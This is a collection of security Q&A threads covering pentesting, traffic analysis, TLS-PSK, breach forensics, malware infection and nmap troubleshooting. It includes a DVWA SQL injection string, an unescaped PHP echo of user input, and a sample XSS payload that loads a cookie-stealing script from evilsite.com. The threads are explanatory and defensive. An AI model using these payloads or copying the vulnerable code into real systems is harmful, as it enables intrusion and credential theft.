Backtrack Footprints I have been hired to to penetration assessment (scanning,testing and so on) ( I am new to the industry and learned through Offsec pentration training.)

While training, I have been doing most of my pentest with vmware backtrack, installed the tools required, fix any issues with the wifi drivers,  have a nice theme and so on.

What are my options on using a updated backtrack, with the custom tools I need and patches without leaving any footprints? If I use vmware, what kind of footprint could I be leaving behind?

I would feel ashamed that my peers view logs and see a pentest assessment leaving behind footprint & logs.

Pen testing is a delicate and potentially fraught undertaking, and not the sort of thing to teach yourself on-the-job.

Beyond just leaving footprints, I'd also be worried about accidentally leaving destruction behind, or accidentally overstepping the limits of your target set.

Rather than being afraid of your peers, you ask them to assist on your first several jobs and observe what your doing; ostensibly so that they can catch things you miss, but primarily to prevent you from doing something stupid. And it helps to have someone to ask questions to.


Techniques used by highly sophisticated entities to snoop on VPN or SSH traffic? It is mentioned in almost every where that very strong agencies, and governments are able to watch the online activity of the people. Aside from techniques like attacking computer networks, and installing spyware on them, like the toolkits the Hackingteam provides, what techniques can be used to see your VPN or SSH traffic (again aside from the techniques like contracting the SSH server provider, or installing some kind of spyware on it or that sort of thing).

I am mostly interested in the science of it all and how these techniques work from a scientific point of view.

You seem to exclude quite a number of attack vectors. To summarize (an correct me if I'm wrong), out of scope:

Compromise of the client
Compromise of the SSH or VPN server
Comprise of network infrastructure
Collaboration of the VPN provider or SSH server administrators

I do believe the problem is over simplified by not considering these attacks. Certainly, the government agencies use these techniques to eavesdrop on your communication.

If the government has collaboration from your ISP or has a monitoring device in the network, they are still able to see source and destination of SSH and VPN traffic. So they know what VPN provider you are using. What bandwidth is being used and what the timing of this traffic is. Some information can be gained from this. A user browsing a website will had a low throughput whereas an attacker ex-filtrating data over SCP will have a high throughput which is fairly consistent over time. Agencies have knowledge of certain IP ranges owned by certain ISPs, countries, companies. This helps them in determining the goal of the traffic.


Prove that a Breach Didn't Result in a Leak I was recently told by someone who manages a security team at a consulting firm that not all security breaches are necessarily incidents. If someone breaks into a machine that has no file access auditing enabled, one can prove that no sensitive has leaked, and therefore, customers need not be notified.

But I don't buy it. How can anyone prove after the fact that no data was read without any auditing? Any data read could easily be scrambled on its way out, so network logs don't necessarily prove anything. Furthermore, any touched file can easily have its timestamp reversed, not to mention that there's no way to tell who precisely last read the file (e.g. was it the true root user or the hacker as root.)

As far as I know, there's no way to prove what's been seen during a breach unless there's something auditing the file system at all times, and therefore, it's an obligation for companies to notify their clients that they were hacked if a system that contains sensitive data is ever breached.

Forensic analysis can be conducted, even without auditing on the filesystem, to determine file access and piece together the potential scope of a breach.   Basically all filesystems in use on modern computers are journaling file systems, which contain a sort of circular log trail.  Using tools to read deleted/overwritten disk sectors, one can begin to see what files were accessed when.  If no sensitive files were accessed during the time of a breach, a forensic security analyst might be opt to declare the breach did not result in release of sensitive data.

However, as you point out; these forensic methods may not conclusively determine the extent of a breach.  Your stance is definitely the more conservative and realistic option.

Companies will spend a lot of money on forensic security analysts and push them to declare (this forensic evidence being admissible in Court, at least in the USA, if done properly) the breach didn't release sensitive data in order to dodge reporting requirements.


How are PSKs agreed upon by the TLS server and client? I've read that pre-shared keys (PSKs) are symmetric keys shared in advance among communicating parties but have found no explanation as to how the TLS client and server agree upon the value of the PSK.  How is this done?

How is the PSK shared?
A pre-shared key is, by definition, pre-shared. The term for this is that it is distributed out-of-band. In other words, the protocol does not prescribe a mechanism for sharing the key. It could be done using a logically-separate key agreement protocol, or by being generated from a shared secret hardcoded in both devices, or over a wireless NFC connection, or even by being directly typed in through a keyboard by a human. The point is that the PSK is shared exclusively out-of-band.
The definition of out-of-band, according to Wikipedia:

[...] an agreement or understanding between the communicating parties that is not included in any message sent over the channel but which is relevant for the interpretation of such messages.

How is the PSK used?
There are three main suites in TLS-PSK. The first, PSK, uses this shared-secret directly to derive all symmetric key material for the protocol. The latter two, RSA_PSK and DHE_PSK, only use the PSK in place of a standard digital certificate. TLS-PSK is used to refer to any of these three suites:

PSK directly uses the pre-shared secret to derive the premaster secret, which itself is used to generate all other symmetric keys used by the protocol. If the PSK is stolen, confidentiality and authenticity are completely lost. That is, an attacker can passively decrypt stored sessions.

RSA_PSK uses the pre-shared secret only for authentication in place of a standard certificate. The actual premaster secret is exchanged using RSA. If an attacker manages to steal the PSK, they will be able to perform a MITM attack, but a passive attacker will be thwarted.

DHE_PSK is like RSA_PSK, but using Diffie-Hellman (DH) rather than RSA. DH provides forward secrecy. It is stronger than RSA in that the private key is ephemeral and never stored. There is less risk that the private key will be stolen, to allow passive decryption of recorded sessions.


Is it possible for a virus to be embedded in a image and can this image execute on Android Oreo by just opening the image? I am aware that on Windows this is very much possible. But is it possible on Android (latest OS with all the security updates)? Can you install a virus/malware/spyware by just clicking on an image? Suppose the image is sent via WhatsApp/any other messenger.

Also what exactly happens when someone renames a malicious apk to .jpg or .png or .mp4. Will the malware/spyware execute if you open the image/video?

I am aware that on Windows this is very much possible. But is it possible on Android [...] Can you install a virus/malware/spyware by just clicking on an image?

Yes, it is possible, although difficult. There is no fundamental difference between Windows and Android in terms of image decoder vulnerabilities. In fact, chances are that both systems are using the same library for decoding, with identical vulnerabilities. The precise mitigations (DEP, ASLR, stack canaries, etc) applied by the operating systems are similar as well.

The only way this can be done is if there is a severe security bug in the image library. A security bug may be able to hijack the library and trigger arbitrary code execution. In these cases, the malicious image is not actually an executable itself, but rather contains a slightly modified format that is not so different that it causes an error, yet is similar enough that it is processed by the library, triggering unintended behavior. These kinds of bugs are pretty rare, and they are fixed rapidly when they are discovered. You should keep your software up to date (preferably with automatic/unattended updates) in order to avoid having a vulnerable image library for long.

  Also what exactly happens when someone renames a malicious apk to .jpg or .png or .mp4. Will the malware/spyware execute if you open the image/video?

If someone renames a malicious executable file so it has an image extension or otherwise find a way to pass it to the media decoder (e.g. changing the MIME type), you will simply get a message that the image cannot be displayed. The decoder will not automatically recognize the file and execute it if it is not an image. Decoders work by first checking for so-called magic bytes at the beginning of the file which specify the type of file. The bytes for an APK and for a JPEG file, for example, are completely different. If it does not see the JPEG bytes it will simply refuse to even try to parse the file.


Would using Websockets cause PCI compliance failure? Would utilizing WebSockets cause an issue with obtaining or maintaining PCI compliance?

Not in and of itself; however, like any network connection, it is subject to PCI DSS rules such as the following:

  1.1.5.a Verify that firewall and router configuration standards include a documented list of services, protocols and ports necessary for business—for example, hypertext transfer protocol (HTTP) and Secure Sockets Layer (SSL), Secure Shell (SSH), and Virtual Private Network (VPN) protocols.
  1.1.5.b Identify insecure services, protocols, and ports allowed; and verify they are necessary and that security features are documented and implemented by examining firewall and router configuration standards and settings for each service.

So you'll need to document that any services you set up using WebSocket are necessary and secure; pretty much just the way you would as if it was vanilla TCP.

  1.2.1.a Verify that inbound and outbound traffic is limited to that which is necessary for the cardholder data environment, and that the restrictions are documented.

Again... document that it's needed.

I haven't used WebSocket, but it appears to be just an abstraction layer on top of TCP, and so for PCI purposes does not introduce any inherent insecurities over the set pre-existing in TCP (...until proven otherwise, natch).  Obviously for PCI purposes you'll want to pay attention to encryption and make sure that's enabled most places.


What browsers support encryption or decryption using local certificates, or smartcard readers? I am working on a cloud-based solution and I would like to encrypt / decrypt the data locally using either a SmartCard or local Machine certificate.  I'm hoping to do this in Javascript, but may resort to Silverlight, ActiveX, or Flash (in order of preference)

My idea is to use this in conjunction with broadcast encryption to allow for concurrent access to encrypted data in the cloud.

Is there an API common among smartcard vendors that exposes itself to the browser?  (marked safe for scripting)

Is there any chance of creating a cross platform solution?

All major browsers support client SSL certificates for authentication of SSL/TLS tunnels.

However, doing any directly crypto in javascript is a bad idea and as a such the browsers do not allow any access to the certificates at all (infact, they won't even give use extension API's to implement firefox extensions like perspectives, convergence and certificate patrol without some very ugly hacks and including our own implementations).

If you want to just use the browser implementation as is, then you are fine, you just send a command over ordinary https to tell it to generate client certificate or have your uses import the certificate file into the browser and make sure the server sends the optional please send client cert in the TLS/SSL handshake, of course this does not allow local encryption.


How do I figure out how malware infected my server, and the subsequent sites on the server? I recently was in charge of fixing our server at work, and cleaning the sites on it. We were infected with some malware that injected some code into some of our clients websites. Apparently, there was some other activity on the server, as well. It included:

Brute Force Hacking (I can verify this with the Auth logs)
Redirection Malware attempts. People started getting warnings from Norton, and I also got a warning from Firefox.

After clearing out the websites entirely, and re-installing them, one by one, and adding security plugins to them, everything checked out fine. I've beefed up security on the server with fail2ban, and other various security patches, and utilities. Everything seems to have subsided and the attacks seem to be either entirely gone, or have been made irrelevant.

I'm not new to Apache, Linux, PHP, MySQL, and a host of other web related topics (SEO, Marketing, etc.), but I don't know where to start when it comes to security. I mean, I don't even know how the injection/XSS/malware problem even began. I don't know who started it, and why. I don't even know truly, whether the threat and problem is fixed. Where do I begin with those questions?

Some basic info:

The sites are powered with Wordpress (latest version) with security plugins.
Using Apache2 with Ubuntu 11.10 server.
LAMP setup with basic security in place

Well, I see a lot of questions in there ! Let me take them up one by one !

So there are two attack vectors in your case. The your webapplication and the webserver itself.

  I mean, I don't even know how the injection/XSS/malware problem even began. I don't know who started it, and why.

All injection/XSS/malware/redirection problems are basically issues with your webapplication. Hardening your server by patching and softwares like failban won't help you there. You should probably review your web code to make sure you are not prone to SQLi and XSS. There is only one solution: validation!. Validate (and escape) all bits of information you are receiving from your users. Be it date, readonly form fields, hidden fields, dropdowns, radio buttons or anything.

For the redirections, you should check the source of your pages to see the code that is causing the redirect. You can then grep your code base to see if that piece of code is appended to your php/html files (indicating a server breakin via FTP/SSH) OR if that code made its way in your MySQL databases (indicating a sql injection on your web-application).

Remember SQLi/XSS attacks don't take many attempts so failban is unlikely to ban those IPs.

As to who started it and when, you can try looking at the apache access logs to see if you can find something interesting. If an attack was mounted on your web application and used querystring parameters, access logs might have recorded it.

You also mentioned:

  Brute Force Hacking (I can verify this with the Auth logs)

Brute force SSH/FTP attempts on any public facing site server is not uncommon. SSH ports constantly get bombarded with dictionary based attacks. I'd suggest having key based authentication and disabling password authentication altogether. If that is not possible, you should have pretty strong passwords that cannot be brute forced.


Why is this SQL Injection attempt failing on DVWA? I'm practicing SQL injection on DVWA (non-blind) with the lowest security settings. I want to list the tables in the current database. To do that, I attempt to enter 0'; show tables;-- in the User ID field like this

I expect that would issue the following statement to MySQL

SELECT * FROM users WHERE user_id = '0'; show tables;--'

However, when I hit submit I get this error

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'show tables;--'' at line 1

I suspect its something simple I'm missing and would appreciate any help in learning the correct way to do this. Thanks!

You can check the source below for the full scenario

Source : https://computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson6/index.html


Cannot identify or block unknown MAC addresses I've only got a basic idea about networking, Google is my teacher.

Router: Tenda D303
Location: India
Connection: BSNL Unlimited 1Mbps broadband.

Friends and relatives visit me often, and connect to my Wi-Fi while they're here, just for WhatsApp or emails, and nothing heavy. I tell them the WiFi password; WPS is disabled. Only I know the password to the router management page.

Since the last week or so, the connection has been very slow in my house.

At least 30 devices were seen in the DHCP table, even though almost 25 of them weren't in my place at the time. So I changed the DHCP lease time from the default 24 hours to 3. Speeds didn't improve.
Even with the 3-hour lease times, at late nights I notice at least 5 or more MAC addresses titled "DELL" connected, even though there are only two DELL laptops in my home.
Changed the Wi-Fi password twice, still see the strange "DELL"s in the list at nights.
Googled the MAC addresses, couldn't find any reliable info about them.
Used MAC filtering to ban 5 of these odd "DELL" addresses. They're still in the list.

Also, tried resetting, rebooting all the concerned devices, and the router at home. No improvement whatsoever.

I fear that these 5 odd MAC addresses are the cause for slow internet. What can be done?

Four possibilities come into mind for your slow internet.

Your neighbors are using your wifi (e.g., you are using weak security on your router like WEP or are using very weak guessable passwords - wifi passwords can be broken offline so you need strong passphrases, or your router has a backdoor your neighbors are aware of)
Your neighbors are using their own router and wifi at a high rate and it is interfering with your own wifi (both operating on same part of the bandwidth)
You have some sort of malware (or user installed software that uses a lot of network traffic like bittorrent) installed on one or more of your systems that is using a high amount of network traffic
Your ISP is highly congested and isn't providing the advertised speed to you (due to multiplexing with other users).

To test, I'd first disable the wifi radio signal on the router and try to connect using a computer with an ethernet connection.  If it's still slow, then most likely its an issue with your ISP being slow.  However, it's also possible that it's due to malware (or other background software) on the one computer directly connected to the internet using a lot of traffic.  You can test the malware theory by analyzing network traffic (e.g., with wireshark) or trying other computers as the only computer on your network  or moving the computer to another network.

If it's not slow anymore, you can test all the computers you have on your network by directly connecting to the router via a wired connection.  If all of them have fast speeds, then it's not malware on any of your computers.  It's then probably either radio interference or neighbors connecting.

For radio interference you can possibly use a better router (e.g., 802.11ac handles interference better than 802.11b/g), changes the channel (small changes to frequency), switch to 5 GHz from 2.4GHz, move the computer closer to the router and/or use RF shielding to block signals from neighbors.  There are tools and mobile apps to see if your area has a lot of wifi congestion; you may want to take a look at these and change your channel.

For neighbors connecting, you can use a stronger passphrase (e.g., at least 5 random words), possibly try a new router and/or use RF shielding.


Risks of legacy JRE versions? Certain business applications or legacy software require running older versions of the Java Runtime Environment on client systems, e.g. JRE6 or 7 rather than or in addition to 8.

Assuming that upgrading the application is not an option, is my only option to install an unsafe JRE?

If so, what are the potential risks and is there any way to mitigate them?

Note: I am asking with client machines in mind but answers addressing the security implications on servers are welcome.

Having multiple JREs on a system isn't in and of itself a risk, but the risk that they might be invoked by untrusted code is present.

So the key to this setup is likely to be ensuring that the outdated JREs can only be invoked by the application that you need it to and not by any untrusted code.

Exactly how you achieve this depends on the application that you need to allow the use of.  If it's a thick client app then installing the outdated JRE in the applications home directory and ensuring that any environment variables (like JAVA_HOME) that direct programs to specific JREs are not pointing at it would help.

The most critical element in terms of likely risk is ensuring that the Java browser plugin for the vulnerable version is not exposed to the Internet.  There are a large number of malicious sites/exploits which can attack that weakness, so it's one to avoid.

If your business app. needs the Java browser plugin then things get harder to do with less risk.  Here I'd say your choices are either to ensure that the browser with the outdated Java plugin is only usable for access to the legacy application (e.g. force a proxy and set it to one that can't get to Internet based sites), or to provide a Virtual environment with the browser/Java plugin made available and again make sure that environment can't access the Internet.

With any of these solutions there is still a risk that an attacker will find a way to invoke the vulnerable JRE but by restricting the use of it, you can reduce the level of risk.


NMAP results inconsistent I'm doing a NMAP scan that runs continuously. For some reason the results are not consistent. Sometimes it detects all the connected devices of the local network and sometimes only some of them.

Background about the network I'm scanning: I'm using Ubuntu to create a private local network by sharing the WAN to the LAN. My subnet is 10.42.0.0/24 and the scanning machine is the one that shares the network.

NMAP params I tried:

nmap 10.42.0.0/24 -O -T4 -F
nmap 10.42.0.0/24 -T4 -F
nmap 10.42.0.0/24 -O
nmap 10.42.0.0/24 -O -Pn
nmap 10.42.0.0/24 -O -Pn -e <the local network interface>

In all of the tests I'm getting this problem.

EXAMPLE:
S1:

$ sudo nmap 10.42.0.0/24 -O -Pn -e eth0
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-24 13:17 IST
Nmap scan report for Galaxy-S8 (10.42.0.147)
Host is up (0.0094s latency).
All 1000 scanned ports on Galaxy-S8 (10.42.0.147) are closed
MAC Address: ***** (Samsung Electro-mechanics(thailand))
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (1 host up) scanned in 13.80 seconds

Scan2:

$ sudo nmap 10.42.0.0/24 -O -Pn -e eth0
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-24 13:28 IST
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Nmap scan report for NX (10.42.0.26)
Host is up (0.0031s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE
902/tcp  open  iss-realsecure
8082/tcp open  blackice-alerts
MAC Address: **** (Intel Corporate)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (1 host up) scanned in 31.74 seconds

scan3:

$ sudo nmap 10.42.0.0/24 -O -Pn -e eth0
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-24 13:29 IST
Nmap done: 256 IP addresses (0 hosts up) scanned in 15.98 seconds

Scan4:

$ sudo nmap 10.42.0.0/24 -O -Pn -e eth0
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-24 13:29 IST
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Nmap scan report for NX (10.42.0.26)
Host is up (0.015s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE
902/tcp  open  iss-realsecure
8082/tcp open  blackice-alerts
MAC Address: **** (Intel Corporate)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

Nmap scan report for Galaxy-S8 (10.42.0.147)
Host is up (0.020s latency).
All 1000 scanned ports on Galaxy-S8 (10.42.0.147) are filtered (828) or closed (172)
MAC Address: **** (Samsung Electro-mechanics(thailand))
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 256 IP addresses (2 hosts up) scanned in 83.02 seconds

So first scan detected 10.42.0.147
second detected 10.42.0.26
third did not detect anything
and the last one detected 10.42.0.26 and 10.42.0.147.

Would appreciate the help.

I have seen this behaviour in nmap before, and from my experience it doesn’t have anything to do with nmap itself, but the devices that are being scanned.

I think the actual problem here is the device’s firewall blocking the scan. This can be because of different rates, different ports and other custom options on firewalls (you might not even know exist). Some firewalls open and close ports rapidly. My android phone was popping on and off the network just like this.

Before trying anything else, you should check the firewall on the devices. You can also scan more using -Pn or try using masscan to see if the problem persists.

This may not be qualified as an answer, but atleast it’s something to be aware of.


SSH stealing files from client? Is it technically possible for a ssh server to steal files from a connected client?.

When the client implements the SSH protocol correctly, this should not be possible.

However, you can never rule out a bug in the client which can be exploited by a malicious server to obtain information from the client.


Would publishing a network diagram make the network less secure? I have found some social networking sites that focus on sharing architecture (network maps and diagrams) and configuration.

Does sharing this type of information decrease the security of my network?

Examples:

  The idea of setting this site up was not to make it possible for
  people to vote on the "look" of a network diagram. The purpose of this
  site is to allow people to learn about computer networking and network
  documentation by seeing what other people have done with their
  networks

or this site:

  Network Documentation .com provides free online resources and tools to
  network professionals regarding network documenting, diagramming, and
  management.

or this social network site:

  Make a flow chart, org chart, mind map, network diagram, UML diagram, wireframe and other drawings online with Lucidchart's free flow chart creator and ...

If I am attacking a network, having a map helps me target my attack, avoiding possible sensors, honeypots etc and aiming at high value targets or sources  of information.

This can speed up an attack immensely, reducing the defender's chance of preventing it.

In summary, yes this is a security risk!

Update:

To reduce risk, some steps you can take are:

remove addresses, function titles etc
only include sections of the network
post under an anonymous profile
include fake network sections


Is it possible to safely connect to the internet using a malicious router? If you connect to the internet using a router that's controlled by a hacker, is there some way you can safely surf the internet without getting hacked? By using a vpn and firewall maybe?

Does it make a difference what kind of router it is?

A wired router
A wireless router
A 4g usb dongle (Could this be used for a bad usb attack?)

If you use a VPN, Tor or 100%1 HTTPS (w/o ignoring warnings) on your local machine to connect through the router to the internet than the attacker on the router cannot extract passwords or similar from your traffic and cannot manipulate the traffic. He can deny or delay the traffic though and in case of HTTPS he can at least see where you are connecting to in order to collect information about you or only disturb selected traffic. With HTTPS he can also intercept and manipulate plain2 DNS requests and responses but this does not affect the security of HTTPS itself.

All of this is independent of how the router connects to the internet, i.e. it does not matter if 4G, DSL, fiber, cable or others. It also does not matter if you connect to the router with wire or wireless. With a "4g usb dongle" though you get additionally potential USB based attacks - although in this case (BadUSB) it is not enough for the attacker to be "at the router" but he has to be deeper in the firmware in order to make the USB device not behave like a router but like a keyboard or similar.

But even though your internet traffic is mostly protected, having an attacker on a local router means to have the attacker in the local network. Depending on the configuration of your system the attacker might attack your machine directly. A firewall on your local system which denies any connections initiated from outside will protect you from such network level attacks (i.e. not from BadUSB).

1  Note that 100% HTTPS is unrealistic, there is usually at least some plain HTTP involved. And plain HTTP could be modified by the attacker on the router.

2 Plain DNS means no DNS over TLS or DNS over HTTPS or otherwise protected DNS (like in DNSSec). Plain DNS is still the most common way of using DNS.


Computationally simple, lightweight replacement for SSL/TLS Target hardware is a rather low-powered MCU (ARM Cortex-M3 @72MHz, with just about 64KB SRAM and 256KB flash), so walking the thin line here. My board does have ethernet, and I will eventually get lwIP (lightweight TCP/IP FOSS suite) running on it (currently struggling). However, I also need some kind of super light-weight alternative to SSL/TLS. I am aware of the multiple GPL'd SSL/TLS implementations for such MCU's, but their footprint is still fairly significant. While they do fit-in, given everything else, don't leave much room for others.

My traffic is not HTTP, so I don't have to worry about HTTPS, and my client/server communication can be completely proprietary, so non-standard solution is okay. Looking for suggestions on what might be the minimalistic yet robust (well a weak security is worthless), alternative that helps me --

Encrypt my communication (C->S & S->C)
Do 2-way authentication (C->S & S->C)
Avoid man-in-middle attacks

I won't be able to optimize library at ARMv7 assembly level, and thus bank entirely on my programming skills and the GNU-ARM compiler's optimization. Given above, any pointers of what might be the best options ?

C: Client, S: Server. My communication is all binary data.

Edit: after some effort, I did re-implement a RAM-efficient SSL library, that can run in the kind of RAM amounts indicated below. It has many more features and flexibility than my previous creations, and yet it is still very small. More importantly, it is also opensource (MIT license). Enjoy: https://www.bearssl.org/

It is possible to implement a SSL/TLS client (or server) in about 21 kB of ARM code (thumb), requiring less than 20 kB of RAM when running(*). I know it can be done because I did it (sorry, not open source). Most of the complexity of TLS comes from its support of many kinds of cryptographic algorithms, which are negotiated during the initial handshake; if you concentrate on only one set of cryptographic algorithms, then you can strip the code down to something which is quite small. I recommend using TLS 1.2 with the TLS_RSA_WITH_AES_128_CBC_SHA256 cipher suite: for that one, you will only need implementations for RSA, AES and SHA-256 (for TLS 1.1 and previous, you would also need implementations for both MD5 and SHA-1, which is not hard but will spend a few extra kBytes of code). Also, you can make it synchronous (in plain TLS, client and server may speak simultaneously, but nothing forces them to do so) and omit the "handshake renegotiation" part (client and server perform an initial handshake, but they can redo it later on during the connection).

The trickiest part in the protocol implementation is about the certificates. The server and the client authenticate each other by using their respective private keys -- with RSA, the server performs a RSA decryption, while the client computes a RSA signature. This provides authentication as long as client and server known each other public keys; therefore, they send their public keys to each other, wrapped in certificates which are signed blobs. A certificate must be validated before usage, i.e. its signature verified with regards to an a priori known public key (often called "root CA" or "trust anchor"). The client cannot blindly use the public key that the server just sent, because it would allow man-in-the-middle attacks.

X.509 certificate parsing and validation is a bit complex (in my implementation, it was 6 kB of code, out of the 21 kB). Depending on your setup, you may have lighter options; for instance, if you can hardcode the server public key in the client, then the client can simply use that key and throw away the server certificate, which is "just a blob": no need for parsing, no certification, very robust protocol. You could also define your own "certificate" format. Another possibility is to use SRP, which is a key exchange mechanism where both parties authenticate each other with regards to the knowledge of a shared secret value (the magic of SRP is that it is robust even if the shared secret has relatively low entropy, e.g. is a password); use TLS_SRP_SHA_WITH_AES_128_CBC_SHA.

The point here is that even with a custom protocol, you will not get something really lighter than a stripped-down TLS, at least if you want to keep it robust. And designing a robust protocol is not easy at all; TLS got to the point of being considered as adequately secure through years of blood and tears. So it is really better to reuse TLS than inventing your own protocol. Also, this makes the code much easier to test (you can interoperate with existing SSL/TLS implementations).

(*) Out of the 20 kB of RAM, there is a 16.5 kB buffer for incoming "records", because TLS states that records may reach that size. If you control both client and server code, you can arrange for a smaller maximum record size, thus saving on the RAM requirements. Per-record overhead is not much -- less than 50 bytes on average -- so you could use 4 kB records and still have efficient communication.


Why is it called cross-site scripting? (XSS) Why is Cross-site scripting called Cross-site scripting? The term implies to me (a non-native English speaker) that there is some other web site involved that attacks your web site, but most of the time this is not the case, is it? (Hell, it doesn't always even include scripting (feeding JavaScript to the user) either. A faked HTML interface is often a viable execution strategy too.)

As I understand it, that which we call XSS is caused by an insufficient escaping of user input and primarily happens in web applications, as shown in this question. For example, the following piece of code is vulnerable:

<?php
echo $_GET['q'];
?>

But the following fixes it[1]:

<?php
echo htmlspecialchars($_GET['q']);
?>

The user input can be stored in the database too, and the same thing happens if the input is not escaped when it is brought back for display. And in fact, this seems to be the method of attack that is the most beneficial for the attacker (affects the most users) and thus the most used.

I feel that the nebulousness of the term leads to hack jobs such as removing offending characters or strings from user input and other confusion (apparently allowing valid JavaScript in the database is wrong) when inexperienced people are trying to patch for it.

Instead of the abstruse term XSS, wouldn't something like lack of escaping work just as well, and be much clearer? Or is there something more that the term XSS encompasses?

[1]: Assuming we are in the middle of a HTML page, of course.

From the link schroeder gave in the comment the origin of the "Cross" in XSS becomes apparent: the first XSS was because Alex goes to evilsite.com and sees a link saying: 'see cute puppies on nicesite.com?q=puppies&<script src="evilsite.com/steal_auth_cookie.js"></script>'.  Clicking on the link on evilsite.com results in a redirection to nicesite.com .  The combination of nicesite.com failing to escape the query parameter puppies&<script src="evilsite.com/steal_auth_cookie.js"></script> before writing it to the page produces the cross site attack by loading the evilsite.com script. (example simplified from wikipedia article).  This attack (known specifically as a reflected and non-persistent XSS) is cross site because it came from and required evil.com, as opposed to only requiring a vulnerability in nicesite.com.

(* Edit: * As pointed out in the comments the link can also come from an email or a different site.  So you could also go to othersite.com and click the link pointing to nicesite.com with the XSS payload for evilsite.com.)

  Microsoft security-engineers introduced the term "cross-site scripting" in January 2000. The expression "cross-site scripting" originally referred to the act of loading the attacked, third-party web application from an unrelated attack-site, in a manner that executes a fragment of JavaScript prepared by the attacker in the security context of the targeted domain (taking advantage of a reflected or non-persistent XSS vulnerability).

It goes on to explain that XSS term has broadened to now include things that don't involve cross site.

  The definition gradually expanded to encompass other modes of code injection, including persistent and non-JavaScript vectors (including ActiveX, Java, VBScript, Flash, or even HTML scripts), causing some confusion to newcomers to the field of information security.

Regarding a different, more descriptive and less confusing name.  From my research it seems you are correct in stating this is a class of vulnerabilities from not escaping user content.  Naming is hard so it's unlikely to change.  The only one I could think up briefly was Unescaped Scripting Attack, but the acronym USA is already taken!

By the way this is an excellent question and one I pondered myself.


codecfix.exe virus and VLC Player and Windows 7 I downloaded a .wmv file (supposedly the new movie War Dogs) from thepiratebay.org, and when I tried to play it using VLC, a dialog box popped up, indicating some error. Information about this error kept on being written to this box so VLC was looping and I quit it by right-click -> quit.

The readme file associated with the .wmv file said to use windows media player, but here is where I got suspicious and shift+del both the readme file and the .wmv file. After some searching, I came across the following reddit post: https://www.reddit.com/r/Piracy/comments/4g3b8f/psa_codecfixexe_virus_appearing_in_certain_video/

This led to me to these two stackexchange posts:
1. Can a rogue .wmv file "hijack" Windows Media Player?
2. Is VLC on Linux vulnerable to an attack from .wmv files designed to install viruses?

Based on the reddit post and the readme file, I'm pretty sure that I downloaded the same malicious file as the guy from the first stackexchange post. So my question is: Is my computer infected?

Based on the second stackexchange post, the answer appears to be no, but that question was about VLC on Linux, while I am on Windows 7. My computer has been behaving completely normally, but I don't have an antivirus installed. However, I did do a quick scan using the Microsoft's August 2016  malicious software removal tool, and it couldn't find any infected files. Anyways, I'm still a bit worried so can anybody confirm that this virus doesn't work with VLC?

By the way, when I went back to the pirate bay to check out this torrent, it was gone, but now, there's another War Dogs torrent that has about 17000 seeders and 800 leechers; I suspect it's the same malicious file: hxxxs://thepiratebay.org/torrent/15555357/War_Dogs_2016_720p_BrRip_x264_-_SPARKS

I run this myself and what it did it created some files:

c:\users\me\Temp\LH4P238G44.exe
c:\drive_c\users\me\Temp\1AI9XBO4U6\bureautique.exe
c:\onespd\otutnetwork.exe and config.ini
c:\Program Files (x86)\onespd

In config.ini there's maji=tytyuaaua

Here are the scans results:
https://virustotal.com/en/file/f67590816306117e88ef6c67c6f5d6d1453ddfa1460c4dab846b86184982dec9/analysis/1471121151/

https://virustotal.com/en/file/d129792d6afa7b2cf1bfb86f225822cb941c99e30ce264026963aaf56a3e2e93/analysis/1471121206/

https://virustotal.com/en/file/21c68d4b6914bc1e185c03c632d6f2eaf779ea9e8ebe4075a45015733edd41fe/analysis/1471121316/

https://virustotal.com/en/file/807878a330893176423d8567d8fe0a091d41c11f3fe410ad18a10cb93d349263/analysis/1471121259/

https://virustotal.com/en/file/7322c3fefd8c25de5df9c5d4251aa157632f80126b9adf5810999a268f9aa52b/analysis/1471121330/

You get free panda now and get rid of it ASAP.

Here is the scan of original file:

https://virustotal.com/en/file/c9c4c39a294cbf3b62fc11376101d2d78201da4da066509d67892b698d201720/analysis/1471121592/


Risks of pinging/resolving malicious sites? If I do ping malicioussite.com or nslookup malicioussite.com, is there any risk for me? Will the people behind the malicious site know I'm looking them up?

I'd like to make a program to use an IP address to find the domain and vice versa.

Doing nslookup will only contact your configured DNS server (and then that server might forward the query to other DNS servers, but not in your name), no packet will arrive from your computer to malicioussite.com.

pinging will send icmp packets to the server of malicioussite.com and if they track packets they will see your ip address. Though ping itself is a pretty safe program strictly speaking, if you're worried that by exposing your ip address to someone is bad intentions is a risk, than you could do so with a proxy, vpn, or via the Tor network.

as far as reverse lookups go, see the following answer here: https://serverfault.com/questions/74042/resolve-host-name-from-ip-address#74044


